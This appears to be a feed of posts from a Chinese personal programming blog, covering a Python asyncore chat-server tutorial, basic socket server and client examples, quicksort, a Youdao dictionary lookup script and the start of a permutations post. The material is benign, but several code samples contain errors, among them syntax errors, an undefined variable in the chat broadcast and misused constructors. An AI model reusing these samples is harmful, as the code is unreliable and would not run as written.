<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fish@love67:~$telnet localhost 5267
Connection form 127.0.0.1
</code></pre></div></div>
<p>###3 具有一些清理功能的服务器</p>
<p>上面的程序使用键盘关闭(ctrl + c等)会导致堆栈跟踪, 为了避免这类情况, 可以在<code> try/except</code> 语句放置<code>loop</code>. 再加上一点清理功能, 如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">import</span> <span class="nn">asyncore</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
<span class="c1"># 子类的初始化, 也可以用super
</span> <span class="n">dispatcher</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">create_socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># 清理函数 set_reuse_addr()
</span> <span class="bp">self</span><span class="p">.</span><span class="n">set_reuse_addr</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle_accept</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Connection from '</span> <span class="p">,</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">(</span><span class="n">PORT</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">pass</span></code></pre></figure>
<p>###4 ChatSession类</p>
<p>下面代码中, <code>async_chat</code>类(位于asynchat中)的好处是他隐藏了大多数基本的套接字读写操作, 为了让他起作用, 只需要覆盖两个函数: <code>collect_incoming_data</code>和<code>found_terminator</code>. 前者每次从套接字中读取一些bit文本时调用, 后者在读取一个<strong><em>结束符</em></strong>是调用.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">from</span> <span class="nn">asynchat</span> <span class="kn">import</span> <span class="n">async_chat</span>
<span class="kn">import</span> <span class="nn">asyncore</span><span class="p">,</span> <span class="n">socket</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="k">class</span> <span class="nc">ChatSession</span><span class="p">(</span><span class="n">async_chat</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sock</span><span class="p">):</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sock</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_terminator</span><span class="p">(</span><span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1"># 函数覆盖
</span> <span class="k">def</span> <span class="nf">collect_incoming_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="c1"># 函数覆盖
</span> <span class="k">def</span> <span class="nf">found_terminator</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">line</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">print</span> <span class="n">line</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
<span class="n">dispatcher</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">create_socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_reuse_addr</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">handle_accept</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ChatSession</span><span class="p">(</span><span class="n">conn</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">(</span><span class="n">PORT</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">pass</span></code></pre></figure>
<p>值得注意的是:</p>
<ul>
<li>code>set_terminator</code>方法用于终止对象, 设定为网络卸协议中经常使用的终止符<strong><em>\r\n</em></strong></li>
<li><code>ChatSession</code> 对象会将目前读取的数据保存为字符串列表data, 当读取更多数据时, <code>collect_incoming_data</code>会自动调用, 将读取的数据追加到列表中</li>
<li><code>found_terminator</code>方法在读取到终止符时停止, 并将<code>self.data</code>重置为空列表.</li>
<li><code>ChatServer</code>保存会话列表</li>
</ul>
<hr />
<p>#整合</p>
<p>##简单的聊天服务器</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">import</span> <span class="nn">asyncore</span><span class="p">,</span> <span class="n">socket</span>
<span class="kn">from</span> <span class="nn">asynchat</span> <span class="kn">import</span> <span class="n">async_chat</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="n">NAME</span> <span class="o">=</span> <span class="s">"ChatRoom"</span>
<span class="k">class</span> <span class="nc">ChatSession</span><span class="p">(</span><span class="n">async_chat</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">server</span><span class="p">,</span> <span class="n">sock</span><span class="p">):</span>
<span class="n">async_chat</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sock</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span> <span class="o">=</span> <span class="n">server</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_terminator</span><span class="p">(</span><span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Welcome to %s </span><span class="se">\r\n</span><span class="s">'</span><span class="p">,</span> <span class="o">%</span><span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">collect_incoming_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">found_terminator</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="s">"如果发现了一个终止符, 说明读入了完整的一行, 将其广播给所有人"</span>
<span class="n">line</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle_close</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">async_chat</span><span class="p">.</span><span class="n">handle_close</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">disconnect</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="s">"接收连接并产生单个会话的类, 他还会处理到其他会话的广播"</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
<span class="n">dispatcher</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">create_socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_reuse_addr</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">disconnect</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">broadcast</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="k">for</span> <span class="n">session</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">line</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle_accept</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ChatSession</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">conn</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">(</span><span class="n">PORT</span><span class="p">,</span> <span class="n">NAME</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">pass</span></code></pre></figure>
网络编程笔记
2014-02-17T00:00:00+00:00
http://fish267.github.io/2014/02/17/network-porgramm
<p>#socket 模块
在网络编程中的一个基本组件就是<strong>套接字</strong>(socket).套接字主要是两个程序之间的”信息通道”</p>
<p>套接字包括:服务器套接字和客户机套接字, 创建一个服务器套接字后, 就让他等待连接, 这样他就在某个网络地址处(IP地址和一个端口号的组合)监听.<br /></p>
<p>一个套接字就是一个socket模块中的socket类的实例. 他的实例化需要3个参数:</p>
<blockquote>
<p>地址族(默认是<code>socket.AF_INET</code>)<br />
流套接字(默认是<code>socket.SOCK_STREAM</code>)或数据报套接字<br />
使用的协议(默认是0)<br />
<!--more--></p>
</blockquote>
<p>服务器套接字使用<code>bind</code>方法后, 再调用<code>listen</code>方法去监听这个给定的地址.客户端使用<code>connect</code>方法连接到服务器,在<code>connect</code>方法中使用的地址与<code>bind</code>方法中使用的地址相同. 在这种情况下, 一个地址就是一个格式为<code>(host, port) </code>的元祖.</p>
<p>服务器套接字开始监听后, 就可以接受客户端的连接, 这个步骤使用<code>accept</code>方法来完成. 这个方法会阻塞知道客户端连接, 然后返回一个格式为<code>(client, address)</code>的元祖.</p>
<p>套接字有两个方法: <code>send</code>和<code>recv</code>, 用于数据传输.</p>
<p>###一个小型服务器</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">host</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">c</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"got connect from"</span><span class="p">,</span> <span class="n">addr</span>
<span class="n">c</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"hello, client!"</span><span class="p">)</span>
<span class="n">c</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>###一个小型客户机</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">host</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">print</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span></code></pre></figure>
快速排序--python
2014-02-10T00:00:00+00:00
http://fish267.github.io/2014/02/10/quick-sort
<p>快速排序是C.R.A.Hoare于1962年提出的一种划分交换排序。它采用了一种分治的策略,通常称其为分治法(Divide-and-ConquerMethod)。</p>
<p>该方法的基本思想是:</p>
<p>1.先从数列中取出一个数作为基准数。</p>
<p>2.分区过程,将比这个数大的数全放到它的右边,小于或等于它的数全放到它的左边。</p>
<p>3.再对左右区间重复第二步,直到各区间只有一个数。</p>
<p>其中Partion算法是算法的核心,可以从左右两端同时开始,这样快一些,示例图如下:<img src="undefined" alt="" />
<!--more--></p>
<p><img src="http://interactivepython.org/courselib/static/pythonds/_images/partitionA.png" alt="" /></p>
<p>然后将选中的主元素放到中间:</p>
<p><img src="http://interactivepython.org/courselib/static/pythonds/_images/partitionB.png" alt="" /></p>
<p>算法代码如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="k">def</span> <span class="nf">quickSort</span><span class="p">(</span><span class="n">alist</span><span class="p">):</span>
<span class="n">quickSortHelper</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">alist</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">quickSortHelper</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="n">first</span><span class="p">,</span><span class="n">last</span><span class="p">):</span>
<span class="k">if</span> <span class="n">first</span><span class="o"><</span><span class="n">last</span><span class="p">:</span>
<span class="n">splitpoint</span> <span class="o">=</span> <span class="n">partition</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="n">first</span><span class="p">,</span><span class="n">last</span><span class="p">)</span>
<span class="n">quickSortHelper</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="n">first</span><span class="p">,</span><span class="n">splitpoint</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">quickSortHelper</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="n">splitpoint</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="n">last</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">partition</span><span class="p">(</span><span class="n">alist</span><span class="p">,</span><span class="n">first</span><span class="p">,</span><span class="n">last</span><span class="p">):</span>
<span class="n">pivotvalue</span> <span class="o">=</span> <span class="n">alist</span><span class="p">[</span><span class="n">first</span><span class="p">]</span>
<span class="n">leftmark</span> <span class="o">=</span> <span class="n">first</span><span class="o">+</span><span class="mi">1</span>
<span class="n">rightmark</span> <span class="o">=</span> <span class="n">last</span>
<span class="n">done</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">done</span><span class="p">:</span>
<span class="k">while</span> <span class="n">leftmark</span> <span class="o"><=</span> <span class="n">rightmark</span> <span class="ow">and</span> \
<span class="n">alist</span><span class="p">[</span><span class="n">leftmark</span><span class="p">]</span> <span class="o"><=</span> <span class="n">pivotvalue</span><span class="p">:</span>
<span class="n">leftmark</span> <span class="o">=</span> <span class="n">leftmark</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">alist</span><span class="p">[</span><span class="n">rightmark</span><span class="p">]</span> <span class="o">>=</span> <span class="n">pivotvalue</span> <span class="ow">and</span> \
<span class="n">rightmark</span> <span class="o">>=</span> <span class="n">leftmark</span><span class="p">:</span>
<span class="n">rightmark</span> <span class="o">=</span> <span class="n">rightmark</span> <span class="o">-</span><span class="mi">1</span>
<span class="k">if</span> <span class="n">rightmark</span> <span class="o"><</span> <span class="n">leftmark</span><span class="p">:</span>
<span class="n">done</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">alist</span><span class="p">[</span><span class="n">leftmark</span><span class="p">]</span>
<span class="n">alist</span><span class="p">[</span><span class="n">leftmark</span><span class="p">]</span> <span class="o">=</span> <span class="n">alist</span><span class="p">[</span><span class="n">rightmark</span><span class="p">]</span>
<span class="n">alist</span><span class="p">[</span><span class="n">rightmark</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">alist</span><span class="p">[</span><span class="n">first</span><span class="p">]</span>
<span class="n">alist</span><span class="p">[</span><span class="n">first</span><span class="p">]</span> <span class="o">=</span> <span class="n">alist</span><span class="p">[</span><span class="n">rightmark</span><span class="p">]</span>
<span class="n">alist</span><span class="p">[</span><span class="n">rightmark</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp</span>
<span class="k">return</span> <span class="n">rightmark</span>
<span class="n">alist</span> <span class="o">=</span> <span class="p">[</span><span class="mi">54</span><span class="p">,</span><span class="mi">26</span><span class="p">,</span><span class="mi">93</span><span class="p">,</span><span class="mi">17</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">31</span><span class="p">,</span><span class="mi">44</span><span class="p">,</span><span class="mi">55</span><span class="p">,</span><span class="mi">20</span><span class="p">]</span>
<span class="n">quickSort</span><span class="p">(</span><span class="n">alist</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">alist</span><span class="p">)</span></code></pre></figure>
Python 查询单词脚本
2014-02-09T00:00:00+00:00
http://fish267.github.io/2014/02/09/word-check
<p>读文档老时网页查单词,有点费时,就自己写了一个脚本,用的是网易的有道词典查询,还不错!
<!--more--></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#!/usr/bin/python
</span> <span class="c1"># coding:utf-8
</span> <span class="c1"># Copyright 2013--2015.
</span> <span class="c1"># Licensed under the Apache License, Version 1
</span> <span class="c1"># http://www.apache.org/licenses/LICENSE-2.0
</span>
<span class="c1"># Word_Searching Script
</span> <span class="c1"># Author: fish
</span> <span class="c1"># Email: fsh267@gmail.com
</span> <span class="c1"># http://www.love67.net
</span> <span class="c1"># usage1: 'python **.py word' to find the word's explination or
</span> <span class="c1"># usage2: 'python **.py word -detail' to list the phrase of the word
</span> <span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">urllib2</span>
<span class="c1"># 判断用户输入的是英文还是中文
</span> <span class="c1"># decode 是将其他字符编码转换成unicode
</span> <span class="c1"># 中文的unicode字符区是 'u4e00' 到 '\u9fa5'
</span> <span class="k">def</span> <span class="nf">is_Chinese</span><span class="p">(</span><span class="n">uchar</span><span class="p">):</span>
<span class="n">uchar</span> <span class="o">=</span> <span class="n">uchar</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">uchar</span> <span class="o">>=</span> <span class="s">u'</span><span class="se">\u4e00</span><span class="s">'</span> <span class="ow">and</span> <span class="n">uchar</span> <span class="o"><=</span> <span class="s">u'</span><span class="se">\u9fa5</span><span class="s">'</span>
<span class="c1"># 格式输入错误的提示
</span> <span class="k">def</span> <span class="nf">input_error</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"usage1: 'python **.py word' or "</span>
<span class="k">print</span> <span class="s">"usage2: 'python **.py word -detail (For English Only)"</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span>
<span class="c1"># 读入命令行
</span> <span class="k">if</span> <span class="n">length</span> <span class="o"><</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">input_error</span><span class="p">()</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">word</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="c1"># url是有道翻译的对应网页
</span> <span class="n">url</span> <span class="o">=</span> <span class="s">'http://dict.youdao.com/search?le=en&q=%s&keyfrom=dict.index'</span> <span class="o">%</span> <span class="n">word</span>
<span class="c1"># urlopen函数调用
</span> <span class="c1"># print url
</span> <span class="n">data</span> <span class="o">=</span> <span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="c1"># print data
</span> <span class="c1"># 将data网页源代码放到soup中,便于匹配
</span> <span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="c1"># soup.find() 可以放入标签和class名称
</span> <span class="n">word_div</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'trans-container'</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">word_div</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'word does not exists'</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
<span class="c1"># word_div存了一个标签,每个单词意思,存在每个<li>**</li>中,格式化输出,不带'<li></li>'
</span> <span class="k">if</span> <span class="n">is_Chinese</span><span class="p">(</span><span class="n">word</span><span class="p">):</span>
<span class="k">for</span> <span class="n">word_explination</span> <span class="ow">in</span> <span class="n">word_div</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'a'</span><span class="p">,</span> <span class="s">'search-js'</span><span class="p">):</span>
<span class="k">print</span> <span class="n">word_explination</span><span class="p">.</span><span class="n">string</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">for</span> <span class="n">word_explination</span> <span class="ow">in</span> <span class="n">word_div</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'li'</span><span class="p">):</span>
<span class="k">print</span> <span class="nb">str</span><span class="p">(</span><span class="n">word_explination</span><span class="p">)[</span><span class="mi">4</span><span class="p">:</span> <span class="o">-</span><span class="mi">5</span><span class="p">]</span>
<span class="c1"># 第二种输入,还得显示出单词组成的短语
</span> <span class="c1"># BeautifulSoup提供的find函数可以查找'p', 'a','span'等html标志语言模块
</span> <span class="k">if</span> <span class="n">length</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="k">if</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">!=</span> <span class="s">'-detail'</span><span class="p">:</span>
<span class="n">input_error</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">raw_explination</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">span</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'p'</span><span class="p">,</span> <span class="s">'wordGroup'</span><span class="p">)</span>
<span class="c1"># 最后一组词组有问题,删去了
</span> <span class="k">for</span> <span class="n">element</span> <span class="ow">in</span> <span class="n">span</span><span class="p">[:</span> <span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
<span class="n">link</span> <span class="o">=</span> <span class="n">element</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'a'</span><span class="p">)</span>
<span class="c1"># 转化成字符串,用于定位到解释那里
</span> <span class="n">raw_explination</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">element</span><span class="p">)</span>
<span class="n">location</span> <span class="o">=</span> <span class="n">raw_explination</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'</span>'</span><span class="p">)</span>
<span class="c1"># 格式化单词解释,</span>长度为7, </p>长度为4, 只采用第一个意思
</span> <span class="n">explination</span> <span class="o">=</span> <span class="n">raw_explination</span><span class="p">[</span><span class="n">location</span> <span class="o">+</span> <span class="mi">7</span><span class="p">:</span> <span class="o">-</span><span class="mi">4</span><span class="p">].</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>
<span class="c1"># python 自带的输出对齐, ljust(num), rjust(num)
</span> <span class="k">print</span> <span class="n">link</span><span class="p">.</span><span class="n">string</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">25</span><span class="p">),</span> <span class="n">explination</span>
<span class="n">raw_explination</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span></code></pre></figure>
<p><a href="https://github.com/fish267/word_check">源码Git地址</a></p>
Python之排列组合
2014-02-09T00:00:00+00:00
http://fish267.github.io/2014/02/09/python-sord-combine
<p><img src="http://pic.baike.soso.com/p/20100824/ext-20100824124038-2058879713.jpg" alt="" />
#<strong>1,排列</strong></p>
